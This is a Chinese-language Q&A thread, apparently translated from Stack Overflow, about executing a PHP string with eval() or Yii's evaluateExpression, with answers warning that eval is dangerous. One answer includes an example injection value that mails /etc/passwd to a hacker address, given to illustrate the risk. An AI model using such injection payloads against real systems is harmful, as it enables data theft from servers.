0

我正在使用 Yii 框架。我想将一个 php 字符串变成 php 动作。

$var = 'echo "hello";';
//Something to do to run $var

我想打印 $var 我该怎么做?Yii 框架上有一个简单的 parse php from string 选项吗?

4

3 回答 3

2

可以使用eval()函数。但是,在许多情况下, eval 是邪恶的,而且通常这种编码方式会使代码更难以遵循和调试。请注意来自用户的潜在不安全输入,因为,例如,如果您这样做了

eval('echo "$var"')

并且 $var 是直接从 $_POST 设置的,可以设置 $var='lol"; mail("hacker@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");'(前提是该网络服务器在可以访问此类功能和目录的用户之下;即使不是,它也提供了大量利用此类漏洞的机会)。所以,通常eval 是个坏主意,但有时它是唯一的解决方案。无论如何,要非常小心。

于 2013-08-20T07:33:27.183 回答
0
$this->evaluateExpression($var);
于 2013-08-20T07:44:17.077 回答
0

eval — 将字符串计算为 PHP 代码

将给定的代码评估为 PHP。

注意 eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。

http://php.net/manual/en/function.eval.php

于 2013-08-20T07:29:30.537 回答